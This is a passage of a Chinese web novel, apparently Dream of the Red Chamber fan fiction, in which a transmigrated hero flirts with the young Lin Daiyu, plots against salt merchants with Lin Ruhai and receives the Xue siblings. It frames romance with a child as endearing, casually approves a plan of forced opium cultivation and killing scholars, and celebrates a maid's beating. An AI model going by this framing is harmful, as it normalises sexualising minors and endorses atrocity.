李素发现这僧,这道,都好似有些神经,做事遮遮掩掩,到处是迷。 自己刚开始扒和尚,扒出点儿眉目,这又出现了道士,又给自己劈头盖脸罩了一层雾,这么贵重的东西,就这么给自己了? 什么家庭也不敢这么造啊。 他心里明白,这样的剑,别说十万两,一百万两也能卖,就是无价之宝,何况还是个套装。 刚才扯价,只不过是试探妙善的目的,没想到什么也没看出来,反而把自己陷入了迷雾里。 迷雾,一如这院中的这烟雨江南。 李素伸出手,任雨水飘洒手中,感受着其中沁入心脾的凉意。 忽抬头望,见蒙蒙细雨中,突然出现了一把油纸伞。 第33章 细雨染清秋(为黛玉单章) 黛玉来了。 细雨如烟,似真似幻。 油纸伞下。 她一袭白衣,莲步轻袅,如仙子在云雾中淼淼,飘然而至。 李素一愣,心中涌起无限波澜,有人一眼万年,再一眼万万年,就如眼前人。 他把剑一扔,就冲进了雨中。 走到面前,从黛玉手里抢过了伞,撑在她的头顶。 “下着雨,你怎么来了?也不知道让雪雁陪你,跌倒了怎么办?即便是安全,着凉了怎么办?到那时受苦的是谁?” 黛玉也不说话,就仰头看着他笑,好似那埋怨的话说的是别人。 李素拉着她来到檐下,把伞晾在一旁,继续开口。 “你若是想我,让人跑来跟我说一声就是。何必劳烦自己跑一趟?” 黛玉本来还在看着他笑,听到这话就有些羞恼,这话就算是真的,她也是不认的,而且这话怎么能说出来? 忍不住呸了他一口:“哪个想你了?我才没有。” 又觉不解恼,于是小拳头一攥,就去打。 李素眼疾手快,把她小拳捉在了手心,也不松开,拉着她坐在了檐下长凳上。 黛玉更有些羞了,她感觉自己的小拳头,被李素的大手包裹着来回的搓弄,抽了抽,又抽不动。 李素嘴巴不停:“我虽然瘸,也可以去看你的,我有坐骑,跑的可快了,昨晚我就是骑着他找到师父的。” 听他的话说的有趣儿,黛玉瞬间被转移了注意力,抿嘴笑着扭头看他。 “说的是你那和尚小厮么?” 李素跟她对视:“可不就是他么?你也听说了?” 黛玉点头。 李素指了指和尚住的屋子,语重心长:“他如此努力,你回头跟你爹说说,让他给和尚长点儿工钱,好不好?” 黛玉横了他一眼:“怎不自己说?” 李素眼睛一瞪。 “我这么大的人物,怎么能为这点儿小事开口?” 黛玉听得这话,顿时来了精神:“呦~那我可知道,午间时候,还有位贾夫人要给你配六个丫头呢,依我看呐,六个哪里够,少说也得十二个。就是不晓得你这位大人物何时去挑丫头啊?” 紧接着她小脸儿一垮,膏眉轻皱,抬头看着外面的细雨迷离,又叹了一口气。 “唉,就是不知道我这样的丑姑娘,能不能选的上呢,又不会伺候人,还净是讨人嫌,大概生来就是个做姑子的命了吧。” 说着说着,她眼珠一转。 头一低就开始抽泣,她想用右手擦泪,但没拽动,于是就伸出左手开始抹眼睛。 李素傻眼儿,这怎么就哭了呢? 急忙哄道:“哎呀,玉儿,你别,别哭!我错了,我错了。” 她趁李素不注意,眼角上挑,从指缝里瞄了他一眼,见他表情着急的像热锅上的蚂蚁。 她心中更欢喜,强忍着笑,继续抽泣着问道。 “你错哪了?你才没有错,都是我的错。” “那不能,就是我错了,我错哪了呢?”李素搜肠刮肚,他什么时候认过错,实在是。 “我……” 原本李素在她眼里是高人、是英雄、是师父、是哥哥,是伙伴。 果敢聪智还有些无赖,无论哪一个形象都对人高高在上一般,让人倾慕和依赖。 但,她从没见过,也没想过,李素会有如此糗状,黛玉于是再也忍不住,噗嗤笑出了声。 “嗯?林黛玉!你给我装!”李素大吼一声。 黛玉心说坏了,随后就想逃跑,但是哪里还跑的掉,小拳头还在人家手里握着呢。 李素随后就挠了上去,挠痒痒,连摸带挠。 黛玉是半点儿招架之力也无。 不一会儿的功夫,就开始笑着流泪求饶了:“我错了,是玉儿错了,饶我这一遭吧。” 李素眼睛一瞪:“叫师父!” “小……” “嗯?”李素再挠。 黛玉整个人都趴在了凳子上,纤细的身子一抽一抽的。 “哎呦~师父,师父,错了,我错了。” “以后还带不带小了?” 黛玉连忙摆手:“不,不敢了,再也不敢了,小……” “我看你嘴有多硬!” 再挠。 “别……我真不敢了,师父,师父,师父!” 这回是真不敢了,都快抽抽到凳子底下去了,对于有洁癖的她是真受不得。 这一阵笑闹,好似打碎了所有的隔阂。 两个人都有些累了,黛玉体质本弱,李素也不强,更何况还没有完全恢复。所以现在两人就是一对弱质男女。 于是又重新坐在了凳子上,就那么靠在一起,就这么看着外面的细雨洋洋洒洒飘落。 各自想着自己的心事。 扬州这时间的林 黛玉,真的很好,如金子一般的赤子心,林如海和贾敏极尽宠爱下,不给她任何的条条框框,只是告诉她道理和知识,让她自己判断和选择。 让她也不必顾忌任何人,任何事,无忧无虑。 这样放任的生长,竟然还长出了一个知书达理,才华满腹的林黛玉,这只能说她天资超凡。 从后来她进贾府就能知道,她和所有人都相处的很好,她明白自己的处境,她在那样的处境下做到了最好。 她用自己独有的智慧与善良和那个世界相处,可惜智慧和善良,无关深情。 体弱多病的黛玉,悲伤透骨,情伤入命,一缕芳魂奔了黄泉。 很多人都看到黛玉拈酸吃醋,给了称号林怼怼。 而林怼怼的名号也是因为她怼宝玉才得的,她也只是向亲近的人怼。 宝玉就是她这个孤儿的亲近人,是自己人,是属于她的,是她在那个复杂环境里的生命支点。 只有贾宝玉,脾气也只向贾宝玉发。对旁人说个酸话,大部分也是奔着宝玉去的,其他人在她眼里,很无所谓。 奈何,贾宝玉是个傻子,每每觉得黛玉无理取闹。 按理说,姑娘只朝他发脾气,正说明姑娘在乎他,他应该心里笑死了才对,但他完全摸不着感情的点在哪里。 经常说着不着四六话来解释,来责怪,来辩解。 比如大观园史湘云说龄官像黛玉,史湘云虽无心,黛玉生气也是应该,必须表态,不然以后大家怎么瞧她?另外戏子是什么身份? 更何况当时黛玉就只剩了“身份”这个仅有的尊严遗产了,这也被拿走,她真不剩什么了,所以她不抽史湘云的嘴巴都算客气。 黛玉更没有为史湘云无心而买单的理由。 而宝玉却傻不拉叽的来解释,黛玉能不明白她无心么?用你替人解释?你替人解释的时候到底让黛玉感到你站在哪儿头? 哪个姑娘不生气? 另外她哄宝玉也不知哄了多少次,如果一个姑娘只发脾气耍性子,不哄人,那没得说,姑娘有问题,但黛玉真不是。 就连宝玉跟别的姑娘睡觉,跟别的男人击剑,她都没在意过,她只在意一件事儿,相爱的人,心在不在她那里。 其他云淡风轻。 贾宝玉也就是双标渣,姑娘只能陪他笑,发脾气就是无理取闹。 他也不想想,只陪他笑,从不向他发脾气的姑娘是真心喜欢他么? 算了,那就是个愚人。 而李素又想到了自己,跟宝玉相比更加复杂。 深情系统,用脚后跟儿就能知道,在红楼挂个深情系统,不就是做个感情骗子,把所有的正册、副册的金钗都给睡了么? 自己也迷茫着,那就边走边看。 李素脑海里闪过一句话:我只是半截烂尾的诗,而你是朗朗声。 黛玉忽站起身:“对了,我是来叫你,晚上去后宅用饭的。” “那还要你亲自跑一趟?” “我喜欢。” “我也喜欢。” “呸!” “哈哈哈……”李素看着她笑。 她也笑了。 谁说知音无觅处,细雨染清秋。 第34章 家事国事 黛玉陪着李素这个新出炉的残疾人到了后宅的时候。 厅中已经坐满了人。 除了林如海,一水儿的莺莺燕燕。 李素明白,贾敏之外,都是林如海的妾室。 “来,妙言。”林如海看着李素有些激动,站起了身。 “师父。”李素笑着走到林如海面前。 林如海双手拍了拍他的两个肩膀:“好样儿的,真好,我听你师母报信儿说你醒了,就打算回来,奈何衙门有事绊住了,这才刚回了家里。” “我无碍的,师父,现在能吃下一头牛。” 林如海大笑,贾敏也在一旁笑,:“你这孩子,别说吃一头,吃十头师母也给你备齐了。” 林如海拍拍身边的位子:“坐吧,玉儿坐你师兄旁边。” 本来也在笑的黛玉,不知怎么听到这话,竟然羞了一下。 经历了刚才二人的独处,已经不同,黛玉连自己的座次降格都没注意到。 “今天这是家宴,也是妙言到咱们这个家后,第一次家宴。” “你们都已经知道了,妙言是黛玉的师父,也是我的徒弟,所以说是黛玉的师兄也无错,昨夜是妙言救了我,更救了你们,甚至救了你们老爷的官位。这些都不提。” “我就想明确一事,妙言以后就是林府的公子,少主子。” 众女哗然。 齐刷刷看向英俊的不像话的李素。 “师父!” 李素就要起身,这个位子定的有点儿高了,这一定,就意味着若林如海不在,他就是林府的主人,在林府可以为所欲为。 “妙言,你不要多言,听你师父的。” 李素无奈只好坐下。 林如海继续说:“所以,你们也让妙言认识一下,免得日后冲撞了。” 她们互相看了看,于是她们挨个站起,贾敏在一旁介绍:“周氏、杨氏、刘氏、吴氏、江氏……” 八个。 师父没少纳啊,还都是师母给张罗的,怪不得原著中黛玉根本不在意,谁跟宝玉睡过。 耳濡目染,社会习俗,政治正确,道德正确。 而自己,格局小了! 看来自己要适应这个世界的运行规则,还需要深入学习。 还早,黛玉还小,不急。 家宴过后,由于外面还在下雨,李素嘱咐了黛玉在屋内慢步小走活动身子,随后就跟着林如海去了书房。 林如海坐在椅子上,面色就沉了下去。 李素见他面色不好看,先倒了盏茶,放到林如海书案前,随后拉了把椅子坐在一边。 “师父,出了什么事儿?” “无法无天!简直无法无天!” 李素不言,静静的坐着,等林如海平复心绪。 书房里也安静了下来。 林如海看着安静如鸡的李素,苦笑一声。 “是老夫急躁了,其实这腌臜事儿,在官场中倒也不稀奇,只是昨夜建功,想着今日乘胜追击而不可得,便失了态。” “也是天子给您的压力太大了,您说过,今岁的盐税事关天下政局走向,这得是多大的干系?师父吃茶。” 李素笑着把茶盏给林如海端起来。 林如海接过抿了一口,笑着看他:“倒要你来宽慰我了。” 接着他缓声解释原因:“稽查营的兵卒昨夜家中都走了水,且不只昨夜守关之人,拢共五十八户,三百余口人都没了。” 李素眼角抽了抽,真狠! “昨夜围府的贼人,是黄家的嫡次子黄颉,他与剩余的十人活口,全部自缢在了巡抚大牢。” “黄家怎么说?” 林如海捏着茶盏,手指节都发白了,重重一顿:“哼,说黄颉自幼患有癫病,不知昨夜怎么跑了出去,至于去向一概不知。” 他最恨的就是黄颉,以前听过此人名声,昨夜若是被他攻入家中? 那结果可太可怕了! 此时想起来,林如海身子都有些发飘眩晕。 不由得看着李素,又目露感激,这弟子收的太好了。 “师父,我觉得是好事儿,他们慌了!” “仔细说来。” “三百口的死亡,围攻巡盐御史私宅,这是多大的案子?若是天子知道了,他会如何做?” 林如海不假思索:“天使降临!” 李素看着摇曳的灯火,脑子完全开动了起来,边思索边自顾往下说。 “而且做下这么大的事儿,马脚不会少,他们定然一步一步的清除马脚,那么他们犯错的可能就会越来越多。” “同时因为私盐盐走不了,走官盐没利,时间越久,他们越着急,越急犯错的可能同样越多。” “两下犯错,天使到来,再这么一逼!”李素双拳一握。 林如海眼中精光闪露,同时接话:“而且我们已经知道 了黄家干的,不需要有证据,盯紧他,盯死他,查问他,让他们疲于奔命!” 伸出手在李素双拳上一握。 “优势在我!”二人同声道。 “哈哈哈……” 翁婿二人,呸! 师徒二人开怀大笑起来。 林如海畅快极了,不止是局势明晰,而是更多的是感受到那种,带好学生的爽快,真的是如三伏天饮了冰镇酒,浸心润肺,透脾清脑。 接下来,两个人又商量了一下细节,比如稽查营刘进的使用,盐丁的补充、稽查营的补充等事宜。 李素把带盐丁的任务领了过来,打算掺点儿沙子,带一些好兵出来。 二百编制,弄五百协管合同工,总也算合理吧。 “师父,要从根子上解决盐税问题,这些还都是治标之法,一旦您高升进京,后继之人难说。” “此事我早有考量,纲盐法本就是朝廷用兵连带出来的无奈之举,如果要打破它,现在时机还远远不到。” 李素又给林如海添了一盏茶,随后求教。 林如海抿了一口,低声给他解释:“盐利这条蔓藤是太上时期种下的,当时朝廷用兵,无力筹粮运粮,故以盐引换取豪商往边境运粮。” 李素点头。 “而粮产之丰莫过于两淮两江,豪商之富也集中于此,几经波折才有了这八大盐商垄断两淮盐业。” 林如海接着继续说道:“利大则勾权,军方、勋贵、江南巨族、甚至还不止,他们都在这条线上吸血。” “太上犹在,旧党犹在,如果冒然轻动,最大的风险是什么?你猜上一猜?” 林如海笑吟吟的看着李素。 李素皱着眉头,看着眼前跃动的烛火,陷入了沉思。 林如海补了一句:“断人财路,如杀人父母。” 慕然,烛花爆响! 李素的脑海中像划过一道闪电。 “边境战火!甚至养寇自重!军变!逼宫篡位,倾覆之祸!这些风险冒不得!” 他说完,整个心脏都扑通扑通的跳起来,这些狗日的直娘贼,真是不好弄! 一连串的词,自李素口中吐出,林如海抚掌大笑。 这弟子将来必出将入相。 咔嚓! 屋外突然传来声响! “谁?”李素骤然起身喝道。 第35章 藏一把伞(求票) “是我,雪雁。” 说着话雪雁就进了书房。 行了个礼,然后叫了声:“老爷,小爷。” 李素一乐,这称呼。 “你来做什么?” 雪雁看看林如海,又看看李素,脆生生的说道:“姑娘让我来看看,小爷什么时候回院儿,说雨还下着,小爷没带伞。” “然后呢?”李素问。 “没了。” 李素疑惑道:“你就没送把伞来?” “姑娘没说呀。” “你真老实。” “嘿,是吧,小爷,姑娘也常夸我老实哩。” “英雄所见略同,你去吧。” 雪雁点点头,嗖~!人影不见。 林如海含笑看着他:“无事就回吧。” 李素摇摇头,再次坐了下来:“师父,府里的安全要加强,这次我是真的怕,包括府里的饮食,也要防人下毒使坏。” 原书贾敏早亡,就在明年,林如海是后年,如此英年早逝,难道真的是疾病么? 现在因为自己的搅和,按照推理,斗争比原著中激烈的多,盐商更有理由除掉执行人林如海。 反过来说,书中没有自己,斗争激烈程度要低的多,昨夜他们会顺利走盐,矛盾也不激烈,盐商应该不会那么急躁的杀人,难道原书中两人早逝,真是病? 林如海点头,叹息:“老夫也后怕不已,这些已经安排了。” “您和师母身体好似都不甚佳,包括玉儿,有没有找名医看过?” “御医每半载,都会来一次扬州,这是陛下皇恩。” 林如海向北拱手作揖,面色感激。 “能不能等再来的时候把他们留下,让御医住在咱们府里?” 林如海失笑:“这怎么能行?” 李素站了起来,一脸郑重说道。 “您和师母认了我,林府就是我的家,您和师母、玉儿就是我的亲人,我不想自己的亲人有恙,所以此事万望师父做到。” 林如海闻言感动,拉着他再次坐下:“傻孩子,我记下了。”忽然他又想起一事:“对了,你有没有表字?” 李素一愣,什么婊子? 喔!表字。 “没有。” 林如海开心道:“那老夫给你取,素,乃洁。你又是个知进明慧之人,知黑守白,白洁如何?” “换一个,师父,换一个!” 李素的脑袋摇的像雪雁,如果应了这个字,他想死。 林如海不明白他为什么不喜欢这个字,但还是没有强求,疑惑的看了看他:“老夫且再想想。” …… 雪雁奔回了黛玉房里,把伞一收。 气喘吁吁:“姑娘,小爷还在。” 正在看着烛火发呆的黛玉,被惊醒过来。 回首问道:“说些什么了?” “小爷问,为何没送把伞?” “再探。” “得令!” 雪雁再次撑起伞,又奔了出去。 黛玉见她出去了,又坐了下来。 只见她刚坐下又站了起来,呆立一会儿,不知想起了什么,转身拿起屋中剩下的那把伞,在屋里转悠起来。 最后她眼神一亮,吐了吐小舌头,走到雪雁的床榻前,掀起她的铺盖掖在了里面。 随后,又坐回了灯下,呆呆的看起了跳跃的烛火。 女儿家心事,千千结。 藏一把伞,只为同几步路。 最终。 林如海也没想出比白洁更好的字,总觉得这个最配李素。 “师父,我就字妙言吧,反正您一直这么叫我。” 李素担心林如海把白洁给他强按在头上,所以给林如海出主意。如果真叫了白洁,在这个时代倒无所谓,但让读者怎么想?太不严肃了! 林如海失笑:“那是你的道号,更不能释名。” 李素继续挣扎:“道号不能做表字么?我觉得可以的师父,探花郎之徒就有这个开先河的勇气。” 林如海瞪了他一眼:“孩子气!” 李素嘿嘿笑,忽然他又向门外大喝一声:“谁在外面?” “姑娘麾下密探,雪雁一只。” 李素刚要继续开口,林如海挥挥手:“去吧,别让人家等急了。” 他尴尬了一下,也不矫情,起身行礼。 “那师父,你早些安歇。” 林如海没再说话,李素又把拐拄起来,紧接着就出了门。 就见雪雁打着一把伞,手里提着个灯笼,往里张望,李素走过去抓住她的小辫子扯了扯:“以后到书房,别鬼鬼祟祟的,先打报告,否则被一剑斩杀了,岂不是冤枉?” “知道了小爷,但报告了还算密探么?” “算,很简单,你把名字改成四个字,以后就叫密探雪雁。” 李素跟她胡扯道。 “对啊,不做密探的时候,我就叫老实人雪雁,呵呵,还是小爷厉害。” 把雪雁的伞拿过来,打在头上:“小爷我厉害的多着呢,等你长大了就知道了。” “嗯,那我多吃点儿。” 李素跟她扯着淡,很快走到了黛玉的小院儿。 黛玉在屋内,听到动静,忽的站起了身子,但随后想起了什么又坐了下去。 但是却把身子转向了门口的方向坐着,手里拿着一本书,仿佛聚精会神的看了起来。 李素进了屋,映入眼帘的就是灯下美人。 恬静安美。 跳动的烛火仿佛都比其他时候安静许多。 黛玉心无旁骛,仿佛不知道他到来一般,只是在李素的眼里,那拿倒了的书说明了一切。 “玉儿,可以送送我么?我瘸!” “啊?” 黛玉突然抬起头,那迷茫的眼神,好似被突然惊醒一般,随后她抬头看看李素,又看看一旁的雪雁。 “这么晚怎么来了?” 雪雁插话道:“不是,姑娘你……” “雪雁!”黛玉忙着拦住雪雁的话头。 随后她忙着站起身,抢过雪雁手中的灯笼,走到李素身侧,接着又回首道:“雪雁,我给你留了个鸡腿儿,你自己先吃,我送送小……师兄。” 话说完,就觉得自己的小手落入了李素手中。 随后被拉着往外走,刚出了门,雪雁又急匆匆的跟了出来:“姑娘,我的鸡腿在哪里呀?” “在你铺盖里。” 黛玉忍住笑,甩了她一句,跟着李素就走进了雨中,此时雨已经停了下来,空气微凉。 地面有些湿滑,李素干脆把伞收了起来。 “咦?你的拐呢?” 黛玉这才发现,李素的拐不知何时不见了。 “跑了。” “那为什么跑?” “因为它害羞。” “为什么害羞呢?” “因为姑娘太美。” …… 秋夜路,声声细语,阵阵浅笑。 第36章 客从何来?(求月票) 次日,风停雨住。 得益于昨晚跟的黛玉十八相送。 早晨起床后,李素感觉自己身体好了很多,肌肉拉伤恢复的很快。 拐,可以扔了。 黛玉跟雪雁早早的就跑了来,她们俩上早课做体操。 李素就缓步绕着她们转圈儿,手里捧着妙善送的子午剑秘籍,这书也很像那么回事儿,除了剑招以外,还有发力方法,呼吸方法。 等黛玉做完操,李素也把书背了下来。 “去后院儿用早饭么?”眉头见汗的黛玉,瞧着他。 “不去了,我得喂和尚。” 李无色o((⊙﹏⊙))o。 他边说边伸手掏手绢,不想掏了个空,才想起早就被黛玉没收了,于是装作若无其事的把手从袖子里收了回来。 “呐。” 黛玉把手绢儿递到他的眼前,李素一愣,发现就是自己的蓝手绢儿,上面一角上面竟然被绣上了一朵粉色小花。 这什么意思? 盖章了? 这还能是爷们儿用的? 无奈只好接了过来。 黛玉笑了。 但还笑颜刚开,就感到眼前一暗,被李素的蓝手绢儿盖了个满脸,才要开口,就感觉自己的小脸被擦了起来。 “唔……” 她要气疯了,怎么能这样对人?这么粗鲁? 黛玉一把扯下自己脸上的手绢儿,怒目去看李素,只见他已经一瘸一拐的正欲往屋里逃。 “雪雁!” “得令!” 话音未落,雪雁嗖的冲上前,探身就抱住了李素一条腿,扭头大喊:“姑娘,贼人在案,怎么吃?” “押来堂前,本官审他。” 黛玉把手绢儿团起来,又塞回了自己的袖子,一脸严肃的看着被雪雁推着过来,龇牙咧嘴不断告饶的李素。 见他那模样,强忍着笑,娇声道:“犯人素,你可有话说?” “可有话说?”雪雁再一推。 李素配合着向前踉跄一步。 看着黛玉扮严肃的娇俏模样,真是可爱极了,于是配合演戏,仰天大笑。 “哈哈哈,无话可说!” “无话?那本官来问,为何不到后院儿用饭?从实招来!” “从实招来!”雪雁再一推。 李素配合着向前又踉跄一步。 这一步他跨的有点儿大,脚尖儿直接触到了黛玉的脚尖儿,身子直接顶到了黛玉身前,眼看就要贴在一起,吓得黛玉不由得向后退了一步。 惊呼一声:“离的这么近……作甚?” “我招供啊。”李素对她眨眨眼睛。 黛玉脸颊热了一下,抬眼瞧他:“站在原地招,别再向前了!” 她刚才强扮的严肃模样已经全然不见了,脖子耿耿,眼神似羞还恼。 李素贪婪的看着这动人的小表情,笑道:“我担心某位贾夫人,给我配六个丫头。” “这为何担心?” “因为我想要一个姑娘,六个丫头,是万万都比不上那姑娘的一根头发丝的。” 黛玉脸上羞恼不见,眼睛不眨的看着他问:“那……姑娘有那么好么?” “嗯,有的,有的。” 她闻言,眉开眼笑。 “那姑娘是谁呢?” 李素仰头看天:“我想想啊。” 还要想想?黛玉的笑容愣住了。 “她好像姓林。” 黛玉笑容又流动了起来。 “好像叫林玉黛,又好像叫林黛,或者是林玉?玉儿,你认识么?”李素一副请教的模样看着她。 黛玉表情怔怔的看着李素,手痒! 好想挠他啊! “姑娘,用这个!”雪雁递了一只拐杖过来,老实人都看不下去了。 李素,见状大呼:“已经瘸过了。” 随后一瘸一拐向屋中逃去。 黛玉见他跑掉,呸!啐了一口,随后“格格”的笑了起来,银铃般脆生生的笑声洒满了小院儿。 好玩儿的姑娘,美好的早晨,新鲜的开始。 和尚拎着早餐进了屋。 先对李素竖了个大拇指! “真会哄姑娘!” 李素白了他一眼:“你一个和尚,懂个锤子?” 大和尚感觉自己被侮辱了,重重的把餐盒往桌上一放,大声道:“素哥儿,你别瞧不起人,贫僧当年也阔过的,想当初在秦淮河上,十八坊谁不知道我李……呃无色。” “知道你咋滴?说啊?” 李素先捏起一只小笼包,一口塞嘴里。 和尚也捏了个,塞嘴里,不说话了。 “嗦啊!”李素踢了踢他。 和尚猛灌了一大口豆浆,把嘴里的包子咽了下去,打了个嗝:“好吃,嗯,素哥儿,往事不 可追,吃包子,来,这个是蟹粉馅儿的。” 李素接了过来,往嘴里就塞,边吃边瞪他。 “啥话都让你说了,话说一半留一半,你要不是我叔伯,狗命早没了。” 和尚嘿嘿直乐,这大侄子,小当家什么都好,就是骂起人六亲不认。 “回头给我弄五百人来。” 大和尚一愣:“这么多?做什么?” “练兵造反!” “素哥儿,莫闹。” 李素接着把五百协管的计划跟他说了一下。 和尚大赞,有了五百行走在阳光下的力量,什么事儿做不成? 李素接着低声道:“不光管盐,还能管民事治安,比如我在逼着巡抚衙门跟我签外包合约,江南大营跟我签外包合约,你想啊和尚,这扬州城谁说了算?” 和尚拍马屁:“您说了算!” “孺子可教也。” 接着李素把碗往桌上一拍:“我每个城安十万城管,管教日月换新天呐。到时候你说我封你个什么官儿好呢?” “我要当国子监祭酒!” 李素眼皮一翻,鄙视道:“当太子不好么?当什么破祭酒?” 和尚摇摇头:“素哥儿,我不是你儿子,我也不想当你儿子,我觉得活不过三天的。” “色叔儿,我觉得你是真聪明。” “别瞎叫,有个事儿,大当家临走前,让我问问你,你跟他说的什么生意,叫个什么名儿好。” “西印度公司。” 和尚皱眉不懂,这是什么破名字? 李素正色道:“和尚叔,你记好了,其中最重要的几个事儿,跟我爹好好商量,不理解的再来问我。” “小当家的吩咐,我记。” 李素捋了捋思路说道:“头一件事儿,最当紧的当然是造船练兵。” “接着去南洋占地盘,强迫当地土人种鸦片,让我爹卖到泰西去,换黄金白银跟枪炮回来,继续壮大招兵买马。其他的才是做正常买卖,正经商队生意只是幌子。” “然后,见到传教士就秘密抓捕,让他们给咱造枪炮,教咱造枪炮。” “最后是一边出高价购买泰西有学识的人,一边帮着泰西教会宰他们,烧他们书,点了他们的学院。” 和尚听完,懵了,有些不明所以。 “就这些,别多问为什么,你们去讨论。” 和尚点点头。 此时林忠进了院子,站到院儿里喊道:“素哥儿,你在么?” 素爷站起身,走出了屋子来到林忠面前,笑着道:“忠叔还是跟以前一样直接进屋,别跟我生分,再怎么我也是晚辈。” 林忠笑着摇头:“不合规矩,老爷让我来一趟,说让您代他接待一下客人。” “客人?什么客人?” “说是金陵薛家的。” 李素一愣。 雪里埋? 是你吗? 第37章 腹藏锦绣 进得正院前堂,李素只见二人在坐。 一男子与自己年龄相仿。 另一女孩儿则让李素愣了,美的异常精致,皮肤尤白,但这般美貌却不似薛宝钗那般饱满,比黛玉还略小一些。 见李素进得堂来,二人起身行礼,尤其女孩儿一双美目大胆而又好奇。 林忠在一旁介绍:“薛家哥儿,此乃我家老爷的弟子,家中事都可做主。”接着林忠又向李素说道:“素哥儿,这是金陵薛家二房子弟,与夫人乃是老亲。” “薛蝌、薛宝琴见过大兄。” 李素心说,难怪师父让自己来接待,一个商人子弟,又是拐着几道弯的关系,哪值得林如海来见他们。 原著中做海贸的薛家二房! 无依无靠的二房! 想到这里,李素脑子里有数了。 “我叫李素,你们坐,贤兄妹这是遇到难处了?”李素笑着,坐下来就问。 只是他问薛薛蝌,眼睛却看着薛宝琴,把这小姑娘弄了个红脸。 随后不待薛蝌回话,李素接着说了下去:“这个妹妹倒是像在那里见过的,薛兄弟你继续说。” 薛蝌一时失语,我说什么了? 薛宝琴却是比薛蝌反应快,起身再次下拜。 “是我们兄妹唐突了,薛家失礼了。” “这是家中爷们儿的事儿,哪里有妹妹的干系?”李素起身就拉住了薛宝琴的小手儿,把她重新摁在了椅子上。 薛宝琴愣住了,这怎么就上手了? 但薛蝌此时却因为妹妹的话,明白了过来,面上顿时尴尬不已,连自己妹妹被人摸了都没注意到。 李素第一句话就是连问带怼他了,意思是有了难处,你才来了吗?平时怎么不来攀亲? 但他恰恰真的是有了难处才来的。 薛科站起身作揖,呐呐开口:“不瞒大兄,确实遇到了难处。” 李素没理他,反而看向了林忠。 “忠叔,薛蝌兄弟可送礼了?” 林忠笑道:“没有。” 薛蝌和薛宝琴听到这话,只感到自己都快眩晕了,恨不得现在就逃走,逃回金陵去。 上门求人,让人家当面问有没有送礼,而自己却没有送,这种难受,无地自容简直让人羞死了。 二人以袖捂面。 哪知李素却抚掌大笑起来。 “哈哈哈,好,好,这才对!” 随后李素看着薛蝌,沉声道:“薛兄弟,如若你今日遇到难处,带着礼单来,我就把你打将出去,林府坚决不受这等羞辱!” 薛蝌此时才心有余悸的舒了一口气,他本来要准备礼品的,但来的早,没来得及准备礼品,否则就惨了。 李素又重新坐回了椅子,端起了茶。 “说说,咱家遇到什么难处了?” 薛蝌见李素端茶,心里又是咯噔一下,心说这好似一言不合就要端茶送客了? 此时的他已经被李素几句话搞得进退失据,完全没了平时的从容。 已经成了惊弓之鸟。 “大兄,我家……” “咱家!”李素眼睛一瞪。 薛蝌忙不迭的点头,满脸堆笑:“对,咱家,咱家的船只载货北上进京,但现在运河渡口被封了,说是盐道缉私,已经停了一天了,如果失期就麻烦了,所以才来林府求助。” 李素闻言就知道了,这个江南大营的杨间搞得鬼,他想要银子! 啪! 李素重重的把茶杯摔到了桌子上,对着薛蝌就骂了起来:“你脑子被猪拱了么?薛家怎么出了你这么个蠢货?都过了一天才来林府,你们还拿林府当亲戚么?” 薛科被骂的狗血淋头,但心里那个暖和劲儿就别提了。 一旁的薛宝琴也是看向李素,也觉得温暖,刚才被李素冒然牵手的不快,也消失不见。 “大兄,是我蠢,都怪我!”薛蝌又起身忙不迭的赔不是。 “唉,我说你什么好呢?” 李素苦笑着站起身,伸手指了指他。 随后他一跺脚看着薛蝌:“你先坐,我去去就来,宝琴妹妹就在家中歇着,你说你做买卖还带着这么小的妹妹奔波,我说你什么好? “等我回来,与你一同去渡口,今日咱家的船就能北上。” 说着李素不理会他,转身拉起了薛宝琴的小手,温声道:“宝妹妹,哥哥带你去看小金鱼。” 也不待宝琴同不同意,拉着面色羞红的宝琴就往外走了。 薛蝌满脸感激,但忽然觉得不对,妹妹! 但李素已经去了,林忠这时笑着安慰道:“薛大爷,稍坐,素哥儿既然说了,那必然会给您办好,您喝茶。” 薛蝌无奈只好坐了下来,心中甚是忐忑,但又想林府簪缨之家应是知礼,他安慰起了自己。 后院儿。 黛玉正在房中看书,因为雨 村先生还没能下榻,所以功课只能自修了。 忽听外面有脚步声,她以为是雪雁这个莽撞人,就没理。 脚步进屋后,一开声,才发现竟然是秋菊。 “姑娘,前院儿里来了人,您知道么?” 黛玉皱眉,没明白秋菊何意:“知道啊。” 她知道是薛家来人,听母亲说了,而且听母亲的语气不是太待见。 秋菊走近前小声说道:“姑娘,小神仙牵了那姑娘的手。” “你怎么知道的?看见了?” “没有,我听小翠说的。” 黛玉忽的起身:“跟我走!” 秋菊面上一喜,就跟着黛玉出了门。 只是黛玉带着她兜兜转转,却到了贾敏的正房,贾敏正在跟一众丫鬟妾室说着府里的一些事宜。 见黛玉进来,贾敏一愣。 “母亲。” “玉儿怎么来了?” 黛玉面色严肃,正色对贾敏说道:“正要让母亲做个见证。” 随后只见黛玉叫道:“来人!” 候在一侧的几个健妇相互看了一眼,向前一步:“姑娘!” 黛玉一指秋菊:“给我打,掌嘴二十!” 只见那几个身强体壮、孔武有力的健妇得到命令后,如饿虎扑食一般迅速地冲上前去。她们毫不留情地伸出双手,死死地摁住了秋菊。 秋菊被这突如其来的袭击吓得花容失色,想要挣扎却根本无法动弹分毫。 “姑娘,夫人,我冤枉啊!” 紧接着,只听得“啪啪啪”几声清脆响亮的耳光声响起,那几个健妇毫不犹豫地扬起手掌,狠狠地朝着秋菊娇嫩的脸颊扇了上去。 每一巴掌都带着十足的力道,打得秋菊头晕目眩,双颊瞬间变得红肿起来,嘴角甚至还渗出了一丝鲜血。 周围围丫鬟小妾看到这一幕,看向娇若藕花一般的黛玉,顿生惊恐之色。 此时黛玉才冷哼一声:“窥探主子,挑拨是非,搬弄口舌,妄加测度主子的心思。” 随后她左右看了看。 “你们要以此为戒。” 贾敏笑了,笑的开怀不已,满心自豪。 她一把拉过了黛玉:“她说什么了?” “说小师兄拉薛家姑娘的手了。” “那你怎么看?” 黛玉轻笑:“小师兄做事,自然有他的道理,不就是个商贾家的姑娘么,又能怎地?况且他连个丫鬟都不要,若是小师兄能留下她做个铺床叠被的,玉儿才巴不得呢。” 贾敏闻言更喜,不由道:“我的玉儿真是腹藏锦绣。” 第38章 千帆争渡 见到薛蝌的那一刻,李素就做好了决定,薛家这条商路是自己的了。 所以才拿捏这兄妹二人。 